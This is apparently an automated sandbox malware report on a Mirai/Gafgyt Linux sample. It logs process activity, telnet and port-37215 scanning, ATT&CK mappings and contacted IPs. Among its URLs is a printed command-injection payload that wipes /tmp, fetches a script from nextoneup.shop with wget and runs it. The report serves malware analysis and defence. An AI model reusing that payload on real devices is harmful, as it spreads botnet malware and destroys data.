Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3147/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/2970/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1881/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3146/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3300/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1805/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1925/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1804/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1648/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1922/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3429/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3683/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3442/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3165/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3164/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3163/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3162/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/790/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3161/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/792/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/793/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/672/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1930/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/795/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3315/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1411/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/2984/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1410/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/797/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/676/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3434/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3158/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/678/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/679/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/5614/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3170/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/5477/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 5483)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.IYUtWQoua1 /tmp/tmp.dkiIyFheOB /tmp/tmp.VG7yU2zJFi			Jump to behavior
Source: /usr/bin/dash (PID: 5492)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.IYUtWQoua1 /tmp/tmp.dkiIyFheOB /tmp/tmp.VG7yU2zJFi			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35360
Source: unknown	Network traffic detected: HTTP traffic on port 40690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59576
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59596
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59626
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59642
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59672
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59678
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59684
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59688
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59712
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59728
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59736
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59750
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59764
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59776
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59784
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59792
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59796
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59820
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59826
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59842
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59872
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59836
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59878
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59884
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59886
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59892
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59934
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59938
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59960
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59970
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59972
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59980
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59984
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59986
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60024
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60028
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60052
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60086
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60054
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60104
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60114
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60120
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60004
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60144
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60160
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60164
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60180
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60190
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60194
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60234
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60246
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60252
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60278
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60296
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60298
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60308
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60316
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60318
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60330
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60336
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60346
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60362
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60382
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60384
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60392
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60402
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60414
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60424
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60462
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60524
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60416
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60584
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60594
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60608
Source: unknown	Network traffic detected: HTTP traffic on port 57518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60652
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60686
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60674
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60714
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48662
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60756
Source: unknown	Network traffic detected: HTTP traffic on port 46546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48688
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60778
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48880
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60972
Source: unknown	Network traffic detected: HTTP traffic on port 46546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48918
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 32786
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48974
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 32834
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48990
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49008
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 32866
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49024
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49032
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 32890
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49294
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 33152
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49314
Source: unknown	Network traffic detected: HTTP traffic on port 46546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 33532
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 33566
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 33852
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 33876

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5551)	Queries kernel information via 'uname':	Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: VkiGKeyI3L.elf, type: SAMPLE
Source: Yara match	File source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: VkiGKeyI3L.elf, type: SAMPLE
Source: Yara match	File source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Hidden Files and Directories	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
VkiGKeyI3L.elf	67%	Virustotal		Browse
VkiGKeyI3L.elf	100%	Avira	EXP/ELF.Gafgyt.T
VkiGKeyI3L.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://127.0.0.1:80200	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws	0%	Avira URL Cloud	safe
http://nextoneup.shop/jaws;sh	0%	Avira URL Cloud	safe
http://nextoneup.shop/bin	0%	Avira URL Cloud	safe
http://nextoneup.shop/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rsx.nextoneup.shop	37.44.238.94	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80200	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	VkiGKeyI3L.elf	false		high
http://nextoneup.shop/jaws;sh	VkiGKeyI3L.elf	false	Avira URL Cloud: safe	unknown
http://nextoneup.shop/	VkiGKeyI3L.elf	false	Avira URL Cloud: safe	unknown
http://nextoneup.shop/bin	VkiGKeyI3L.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	VkiGKeyI3L.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.146.54.95	unknown	United States	60068	CDN77GB	false
69.37.74.36	unknown	United States	7018	ATT-INTERNET4US	false
41.89.178.150	unknown	Kenya	36914	KENET-ASKE	false
123.225.32.84	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
96.125.119.100	unknown	United States	2055	LSU-1US	false
109.58.235.227	unknown	Sweden	44034	HI3GSE	false
212.118.100.165	unknown	Saudi Arabia	34397	CYBERIA-RUHCyberiaRiyadhAutonomousSystemSA	false
65.25.198.221	unknown	United States	10796	TWC-10796-MIDWESTUS	false
41.187.159.150	unknown	Egypt	20928	NOOR-ASEG	false
93.70.235.74	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
101.210.94.140	unknown	India	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
202.1.207.16	unknown	Maldives	7642	DHIRAAGU-MV-APDHIVEHIRAAJJEYGEGULHUNPLCMV	false
210.183.92.112	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
213.228.20.188	unknown	France	12322	PROXADFR	false
118.152.120.138	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
167.81.196.89	unknown	Netherlands	14579	EDWARDJONESUS	false
41.15.20.29	unknown	South Africa	29975	VODACOM-ZA	false
68.43.42.69	unknown	United States	7922	COMCAST-7922US	false
142.65.195.229	unknown	United States	7834	L3HARRIS-TECHNOLOGIESUS	false
162.83.98.235	unknown	United States	701	UUNETUS	false
41.18.58.5	unknown	South Africa	29975	VODACOM-ZA	false
207.178.153.48	unknown	United States	5033	AS5033US	false
156.189.23.175	unknown	Egypt	36992	ETISALAT-MISREG	false
68.107.216.54	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
213.155.177.183	unknown	Poland	13119	ACI-COM-ASPL	false
67.34.228.164	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
155.48.59.86	unknown	United States	16481	BABSON-GNETUS	false
2.190.205.10	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
49.220.9.34	unknown	China	24158	TAIWANMOBILE-ASTaiwanMobileCoLtdTW	false
119.92.52.95	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
166.78.21.73	unknown	United States	33070	RMH-14US	false
79.3.165.204	unknown	Italy	3269	ASN-IBSNAZIT	false
201.43.221.194	unknown	Brazil	27699	TELEFONICABRASILSABR	false
156.230.19.171	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
9.63.47.39	unknown	United States	3356	LEVEL3US	false
78.173.190.146	unknown	Turkey	9121	TTNETTR	false
151.111.130.142	unknown	United States	1998	STATE-OF-MNUS	false
51.122.215.17	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
211.77.149.0	unknown	Taiwan; Republic of China (ROC)	9674	FET-TWFarEastToneTelecommunicationCoLtdTW	false
94.30.52.203	unknown	United Kingdom	5413	AS5413GB	false
96.174.0.200	unknown	United States	7922	COMCAST-7922US	false
20.216.48.178	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
118.28.71.14	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
2.203.197.30	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
197.141.28.86	unknown	Algeria	36891	ICOSNET-ASDZ	false
37.205.15.251	unknown	Czech Republic	24971	MASTER-ASCzechRepublicwwwmasterczCZ	false
149.154.90.31	unknown	Italy	57144	ICCREA-ASIT	false
117.245.44.113	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
197.153.85.19	unknown	Morocco	36925	ASMediMA	false
67.217.222.39	unknown	United States	32592	HT-HB32592US	false
85.218.82.224	unknown	Switzerland	34781	SIL-CITYCABLE-ASCH	false
197.190.151.158	unknown	Ghana	37140	zain-asGH	false
151.168.42.18	unknown	United States	45025	EDN-ASUA	false
94.142.228.147	unknown	Sweden	48994	GLOBALWIRESE	false
197.254.144.26	unknown	Lesotho	37057	VODACOM-LESOTHOLS	false
2.77.46.12	unknown	Kazakhstan	29355	KCELL-ASKZ	false
162.146.60.253	unknown	Australia	46606	UNIFIEDLAYER-AS-1US	false
217.237.3.227	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
117.44.172.102	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.122.213.88	unknown	South Africa	16637	MTNNS-ASZA	false
148.223.139.68	unknown	Mexico	8151	UninetSAdeCVMX	false
186.51.148.33	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
210.7.61.1	unknown	China	17890	MATILDA-AS-APMatildaInternetAU	false
79.174.142.70	unknown	Germany	48173	UNBELIEVABLE-ASDE	false
87.195.246.73	unknown	Netherlands	12414	NL-SOLCONSOLCONNL	false
41.68.48.251	unknown	Egypt	24835	RAYA-ASEG	false
156.100.80.122	unknown	United States	393504	XNSTGCA	false
156.199.251.107	unknown	Egypt	8452	TE-ASTE-ASEG	false
172.147.247.150	unknown	United States	7018	ATT-INTERNET4US	false
136.176.51.248	unknown	United States	26367	BRADLEY-UNIVERSITYUS	false
162.34.137.126	unknown	United States	35893	ACPCA	false
156.19.217.34	unknown	United States	20115	CHARTER-20115US	false
192.180.174.150	unknown	United States	10796	TWC-10796-MIDWESTUS	false
148.21.75.93	unknown	United States	6400	CompaniaDominicanadeTelefonosSADO	false
77.169.62.105	unknown	Netherlands	1136	KPNKPNNationalEU	false
109.170.87.120	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
2.118.65.163	unknown	Italy	3269	ASN-IBSNAZIT	false
212.25.70.101	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	false
98.195.58.191	unknown	United States	7922	COMCAST-7922US	false
43.74.84.200	unknown	Japan	4249	LILLY-ASUS	false
156.67.60.54	unknown	Spain	50129	TVHORADADAES	false
156.99.105.78	unknown	United States	1998	STATE-OF-MNUS	false
41.95.85.0	unknown	Sudan	36998	SDN-MOBITELSD	false
2.208.22.142	unknown	Germany	6805	TDDE-ASN1DE	false
41.179.157.18	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.11.35.17	unknown	Canada	15290	ALLST-15290CA	false
197.23.201.54	unknown	Tunisia	37693	TUNISIANATN	false
210.30.239.165	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
156.164.65.254	unknown	Egypt	36992	ETISALAT-MISREG	false
101.229.47.85	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
42.69.123.236	unknown	Taiwan; Republic of China (ROC)	4249	LILLY-ASUS	false
36.195.255.101	unknown	China	24138	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
41.187.12.187	unknown	Egypt	20928	NOOR-ASEG	false
2.37.157.92	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
156.1.114.188	unknown	United States	22226	SFUSDUS	false
39.133.5.187	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
197.222.170.104	unknown	Egypt	37069	MOBINILEG	false
41.35.57.68	unknown	Egypt	8452	TE-ASTE-ASEG	false
178.202.206.58	unknown	Germany	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
41.35.57.69	unknown	Egypt	8452	TE-ASTE-ASEG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.146.54.95	4DeEvAENct.elf	Get hash	malicious	Mirai, Moobot	Browse
156.146.54.95	07kT7Vt5Xt.elf	Get hash	malicious	Mirai	Browse
41.89.178.150	imfOQpw6JW.elf	Get hash	malicious	Mirai, Moobot	Browse
	Todz6ncn8n	Get hash	malicious	Mirai	Browse
	x86_64	Get hash	malicious	Mirai	Browse
	bZeeXPyRJc	Get hash	malicious	Mirai	Browse
118.152.120.138	xihiXKkjGp	Get hash	malicious	Gafgyt, Mirai	Browse
118.152.120.138	phantom.x86	Get hash	malicious	Mirai	Browse
123.225.32.84	LJDfsjRAd4	Get hash	malicious	Mirai	Browse
96.125.119.100	YMeZhZkElj.elf	Get hash	malicious	Mirai	Browse
212.118.100.165	1JFq3jfiXe	Get hash	malicious	Gafgyt, Mirai	Browse
212.118.100.165	3mjVS5wSNT	Get hash	malicious	Mirai	Browse
41.187.159.150	arm5.elf	Get hash	malicious	Mirai	Browse
	3YjVnXLoy2.elf	Get hash	malicious	Mirai, Moobot	Browse
	bok.arm5.elf	Get hash	malicious	Mirai	Browse
	IqcwyWAHx1.elf	Get hash	malicious	Mirai	Browse
	fvCzM69FBg	Get hash	malicious	Mirai	Browse
	E38HvGUw3W	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
KENET-ASKE	Nc2zs66ZvW.elf	Get hash	malicious	Unknown	Browse	197.136.212.26
	68p3Nl7QRc.elf	Get hash	malicious	Unknown	Browse	197.138.170.188
	XIu2eKNZ8m.elf	Get hash	malicious	Mirai	Browse	197.138.199.134
	6TLfkdivL6.elf	Get hash	malicious	Mirai	Browse	41.204.187.223
	g5FxNXoqH7.elf	Get hash	malicious	Mirai	Browse	197.136.200.31
	vocJ80emzk.elf	Get hash	malicious	Mirai	Browse	197.136.212.62
	UtN6hwRjZv.elf	Get hash	malicious	Mirai	Browse	41.89.31.2
	52cMXV8Al2.elf	Get hash	malicious	Mirai	Browse	41.204.173.8
	Jhp36KuZgS.elf	Get hash	malicious	Mirai	Browse	197.136.200.47
	OZWxWcx8yZ.elf	Get hash	malicious	Unknown	Browse	197.138.249.93
CDN77GB	aurora-live-20240221.exe	Get hash	malicious	Unknown	Browse	89.187.177.16
	http://www.shaferscollision.com	Get hash	malicious	Unknown	Browse	89.187.177.17
	http://www.sdmts.com/business-center/for-hire-vehicle-administration&c=E,1,pc5oom8YsW1RqHtANaUTLgMvd2z37r_4n-NR90jlF12Z7NyUKYXr1sKmCXY3dgMIENHwNl8jxylzX2garHrVx3wU2gE5fuDMBydZQ2COLEQJ&typo=1	Get hash	malicious	Unknown	Browse	156.146.36.24
	https://sociallinks.lt.acemlnb.com/Prod/link-tracker?redirectUrl=aHR0cHMlM0ElMkYlMkZzb2NpYWxsaW5rcy5pbyUyRm9zaW50LXdlYmluYXJzJTJGd2ViaW5hci1lbmhhbmNpbmctYW1sLWludmVzdGlnYXRpb25zLXdpdGgtb3NpbnQlM0Z1dG1fc291cmNlJTNEZW1haWwlMjZ1dG1fbWVkaXVtJTNEd2ViaW5hciUyNnV0bV9jYW1wYWlnbiUzRGFtbF8wNF8yNA==&sig=bEXSTLMngghhoUjnhUiGrKrf6GsWGU1eAwJ54z8GbBH&iat=1712921684&a=%7C%7C612077526%7C%7C&account=sociallinks%2Eactivehosted%2Ecom&email=I4809riumLU7t4jf%2BoK9uHOsQeuYYw6CYkuCsQDv%3AFRtI69CZolNJDOUhiGMO%2BO9bqaecpEWw&s=f7847248dd0f6e35d5eb6514571a7081&i=993A1018A3A5488	Get hash	malicious	Unknown	Browse	89.187.173.22
